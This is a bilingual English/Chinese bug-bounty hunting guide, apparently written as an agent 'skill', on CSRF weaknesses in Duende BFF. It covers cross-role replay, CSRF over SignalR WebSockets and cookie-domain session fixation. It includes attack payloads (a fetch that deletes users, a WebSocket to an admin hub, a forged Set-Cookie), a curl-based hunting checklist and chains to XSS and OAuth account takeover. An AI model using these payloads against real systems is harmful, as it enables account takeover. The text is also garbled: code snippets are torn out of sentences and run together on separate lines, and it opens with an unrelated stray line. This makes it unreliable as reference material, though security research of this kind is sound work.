- 年份:2022 年——在 H1 自身计划中属于 informational scope,但 PoC 已公开
Duende BFF — Role-Partitioned Antiforgery (2024-2026 surface)
Duende BFF——基于角色分区的 Antiforgery(2024-2026 攻击面)
Duende BFF (commercial successor to IdentityServer4) is the canonical ASP.NET Core BFF library for SPAs. Its antiforgery primitive is non-standard and not user-bound: instead of ASP.NET Core's per-session/per-user double-submit token, Duende only requires the presence of a static header on every BFF-mapped endpoint. The header value is identical for every caller; it exists only to force a CORS preflight on cross-origin calls. This collapses CSRF defence to "same-origin + session cookie present" — and produces several distinct attack patterns when one BFF serves multiple privilege partitions.
X-CSRF: 1Architecture primer: browser↔BFF authenticates via an encrypted HttpOnly session cookie (default ); BFF↔API uses OAuth tokens cached server-side. Endpoints registered via / / enforce and session presence — nothing else. (docs.duendesoftware.com/bff, Duende blog Mar 2025)
.AspNetCore.CookiesMapBffManagementEndpointsMapRemoteBffApiEndpointMapBffApiEndpointX-CSRF: 1Duende BFF 是 IdentityServer4 的商业继任者,也是用于 SPA 的标准 ASP.NET Core BFF library。其 antiforgery 原语非标准且不与用户绑定:它并非采用 ASP.NET Core 按会话或用户生成的 double-submit token,而只要求每个映射到 BFF 的端点都存在一个静态请求头 。该请求头的值对所有调用者都相同,其唯一作用是强制跨源调用触发 CORS preflight。这会使 CSRF 防御退化为“同源且存在会话 cookie”——当单个 BFF 服务多个权限分区时,还会产生多种不同的攻击模式。
X-CSRF: 1**架构基础:**浏览器与 BFF 之间通过加密的 HttpOnly session cookie(默认 )进行身份验证;BFF 与 API 之间使用缓存在服务器端的 OAuth token。通过 / / 注册的端点会强制执行 并检查会话存在,除此之外没有其他检查。(docs.duendesoftware.com/bff、Duende blog Mar 2025)
.AspNetCore.CookiesMapBffManagementEndpointsMapRemoteBffApiEndpointMapBffApiEndpointX-CSRF: 1Attack class 1 — X-CSRF: 1
is not user-bound, so cross-role replay succeeds same-origin
X-CSRF: 1攻击类别 1——X-CSRF: 1
不与用户绑定,因此同源跨角色重放能够成功
X-CSRF: 1When a single BFF serves and partitions, the antiforgery primitive cannot distinguish role-A from role-B. Any same-origin script that can land an XHR with and the victim's session cookie reaches admin endpoints if the victim has the admin role. Stock ASP.NET Core antiforgery (which binds the token to and rejects on identity change) does the right thing here; Duende BFF does not. (docs.duendesoftware.com/bff/fundamentals/options)
/admin/*/user/*X-CSRF: 1HttpContext.User.Identity.NamePayload shape: from a logged-in low-priv session, — succeeds if the victim's session happens to hold the admin role and the attacker can land any same-origin script (self-XSS, subdomain-takeover JS, dependency-confusion).
fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}})当单个 BFF 同时服务 和 分区时,antiforgery 原语无法区分 role-A 与 role-B。任何能够发起带有 和受害者 session cookie 的同源 XHR 的脚本,只要受害者恰好拥有 admin 角色,就可以访问 admin 端点。原生 ASP.NET Core antiforgery 会将 token 绑定到 ,并在身份变化时拒绝请求,其行为是正确的;Duende BFF 则不会。(docs.duendesoftware.com/bff/fundamentals/options)
/admin/*/user/*X-CSRF: 1HttpContext.User.Identity.Name**Payload 形式:**从已登录的低权限会话发起 ——如果受害者会话恰好持有 admin 角色,并且攻击者能够落地任意同源脚本(self-XSS、子域接管 JS、dependency confusion),请求就会成功。
fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}})Attack class 2 — SignalR/WebSocket carve-out (the /negotiate
shortcut)
/negotiate攻击类别 2——SignalR/WebSocket 豁免(/negotiate
快捷路径)
/negotiateBrowser WebSockets cannot send custom headers, so cannot be enforced on the upgrade. Developers routinely work around this by excluding SignalR hub paths from BFF antiforgery ( or registering them as non-BFF endpoints). Once excluded, any same-site origin (including a takenover sibling subdomain or a stored-XSS page) can open the WS with the ambient session cookie → CSRF-over-WebSocket to invoke hub methods that mutate state.
X-CSRF: 1MapHub<X>().DisableAntiforgery()Payload shape: cross-origin page opens — browser sends session cookie, no required, attacker invokes via standard SignalR JSON frame. (DuendeArchive/Support#972, learn.microsoft.com/aspnet/core/signalr/security)
new WebSocket("wss://bff.example.com/hubs/admin")X-CSRFDeleteUser(id)浏览器 WebSocket 无法发送自定义请求头,因此无法在 upgrade 阶段强制执行 。开发者通常会通过将 SignalR hub 路径排除在 BFF antiforgery 之外( 或将其注册为非 BFF 端点)来解决此问题。一旦遭到豁免,任何同源来源(包括被接管的同级子域或存储型 XSS 页面)都可以携带 ambient session cookie 打开 WS,形成 CSRF-over-WebSocket 并调用会改变状态的 hub 方法。
X-CSRF: 1MapHub<X>().DisableAntiforgery()**Payload 形式:**跨源页面打开 ——浏览器会发送 session cookie,且不需要 ;攻击者通过标准 SignalR JSON frame 调用 。(DuendeArchive/Support#972、learn.microsoft.com/aspnet/core/signalr/security)
new WebSocket("wss://bff.example.com/hubs/admin")X-CSRFDeleteUser(id)Attack class 3 — Cookie-domain wildcarding turns subdomain takeover into session fixation
攻击类别 3——Cookie 域通配将子域接管转化为 session fixation
BFF session cookies default to host-only, but developers commonly override with to share login across and . This drops the prefix protection. Take over (CNAME to deprovisioned Heroku/S3) → set → victim hits carrying attacker's session = session-fixation ATO. (nestenius.se BFF cookie hardening)
options.Cookie.Domain = ".example.com"app.example.comadmin.example.com__Host-legacy.example.comSet-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.comapp.example.comBFF session cookie 默认是 host-only,但开发者经常使用 覆盖该设置,以便在 与 之间共享登录。这会失去 前缀保护。接管 (指向已注销的 Heroku/S3)→ 设置 → 受害者访问 时会携带攻击者的 session,从而形成 session-fixation ATO。(nestenius.se BFF cookie hardening)
options.Cookie.Domain = ".example.com"app.example.comadmin.example.com__Host-legacy.example.comSet-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.comapp.example.comEvidence strength
证据强度
No Duende.BFF-direct CVE exists as of 2026-05. The three classes above are design-level / documented behaviour that becomes a live finding when paired with a co-resident primitive (same-origin script execution, SignalR carve-out, or subdomain takeover). Report severity should lean on the chain's business impact rather than CVE citation. Adjacent confirmed CVEs in the Duende ecosystem: CVE-2025-26620 ( race), CVE-2024-51987 ( incorrect-token-after-refresh), CVE-2024-39694 ( open redirect). (Duende advisories on GitHub)
Duende.AccessTokenManagementDuende.AccessTokenManagement.OpenIdConnectDuende.IdentityServer截至 2026-05,不存在直接针对 Duende.BFF 的 CVE。上述三个类别属于设计层面或已有文档记录的行为,只有与共存原语(同源脚本执行、SignalR 豁免或子域接管)结合时,才会成为可实际利用的漏洞。报告严重性应依据整条漏洞链的业务影响,而非 CVE 引用。Duende 生态中相邻的已确认 CVE 包括:CVE-2025-26620( race)、CVE-2024-51987( incorrect-token-after-refresh)、CVE-2024-39694( open redirect)。(Duende advisories on GitHub)
Duende.AccessTokenManagementDuende.AccessTokenManagement.OpenIdConnectDuende.IdentityServerHunting checklist
狩猎检查清单
- — dumps the full claim set including internal IDs, role names, tenant IDs (info disclosure on its own).
curl https://target/bff/user -H 'X-CSRF: 1' -b '<session>' - Inspect on
Set-Cookiecallback — flag/bff/loginattribute (vsDomain=prefix); flag missing__Host-/Secure.HttpOnly - From a low-priv session, replay admin-partition POSTs with to confirm no per-role token binding.
X-CSRF: 1 - Enumerate SignalR/WS hubs (,
/hubs/*) — open without/signalr/*; if 101 Switching Protocols, CSWSH-style attacks viable.X-CSRF - Subdomain inventory + DNS-takeover scan for any if BFF cookie has
*.example.com.Domain=.example.com
- ——转储完整 claim 集合,其中包括内部 ID、角色名称和 tenant ID(仅此一项就构成 information disclosure)。
curl https://target/bff/user -H 'X-CSRF: 1' -b '<session>' - 检查 callback 上的
/bff/login——标记Set-Cookie属性(相对于Domain=前缀);标记缺失的__Host-/Secure。HttpOnly - 从低权限会话重放 admin 分区 POST,并携带 ,确认不存在按角色绑定的 token。
X-CSRF: 1 - 枚举 SignalR/WS hub(、
/hubs/*)——不携带/signalr/*进行连接;如果返回 101 Switching Protocols,则 CSWSH 风格攻击可能可行。X-CSRF - 如果 BFF cookie 包含 ,则对任意
Domain=.example.com执行子域盘点与 DNS takeover 扫描。*.example.com
Related Skills & Chains
相关 Skills 与漏洞链
- — Any XSS on a trusted origin neutralizes CSRF defenses (token, SameSite, Origin check) instantly. Chain primitive: XSS reads the
hunt-xssvalue and same-origin-fetchesmeta[name=csrf-token]with attacker payload → one-click ATO via attacker-page postMessage triggering the stored XSS to perform the state change./accounts/email - — CSRF combined with an auth-bypass primitive lets attacker-side scripts perform state changes that should have required step-up auth. Chain primitive: CSRF on
hunt-auth-bypassreaches an endpoint that skips the re-auth check → password change executes without the victim ever entering their current password → ATO./settings/password - — OAuth/SAML
hunt-oauth/stateis structurally a CSRF token; missing validation here is account-linking CSRF. Chain primitive: attacker initiates OAuth on their account, sends victim theRelayStateURL → victim's logged-in browser completes the link → attacker's social identity now controls victim's account./callback?code=X&state= - — Reach for the CSRF PoC templates (form POST,
security-arsenalJSON, sandboxed-iframe null-origin, base64 multipart bypass) before writing one from scratch; also the WAF-bypass header variants for Origin/Referer checks.enctype=text/plain - — Run the Pre-Severity Gate before submitting CSRF on a logout endpoint or any action without state-change consequence — those are the canonical N/A traps. Confirm victim LOSES something concrete (account access, money, data), not just "a request executed."
triage-validation
- ——可信源上的任意 XSS 都会立即中和 CSRF 防御(token、SameSite、Origin 检查)。链式原语:XSS 读取
hunt-xss值,并通过同源 fetch 向meta[name=csrf-token]发送攻击者 payload → 借助攻击者页面的 postMessage 触发存储型 XSS 执行状态变更,形成一键 ATO。/accounts/email - ——将 CSRF 与 auth-bypass 原语结合后,攻击者侧脚本即可执行原本需要 step-up auth 的状态变更。链式原语:CSRF 请求
hunt-auth-bypass,触发跳过 re-auth 检查的端点 → 无需受害者输入当前密码即可执行密码修改 → ATO。/settings/password - ——OAuth/SAML 的
hunt-oauth/state在结构上就是 CSRF token;此处缺少验证即属于 account-linking CSRF。链式原语:攻击者在自己的账号上发起 OAuth,并向受害者发送RelayStateURL → 已登录的受害者浏览器完成关联 → 攻击者的社交身份随后控制受害者账号。/callback?code=X&state= - ——编写 PoC 前,使用其中的 CSRF PoC 模板(表单 POST、
security-arsenalJSON、sandboxed-iframe null-origin、base64 multipart bypass);同时可获取用于 Origin/Referer 检查的 WAF 绕过请求头变体。enctype=text/plain - ——提交针对 logout 端点或任何无状态变更后果操作的 CSRF 报告前,先执行 Pre-Severity Gate——这些是典型的 N/A 陷阱。必须确认受害者确实损失了具体资产(账户访问权限、资金、数据),而不仅仅是“某个请求执行成功”。
triage-validation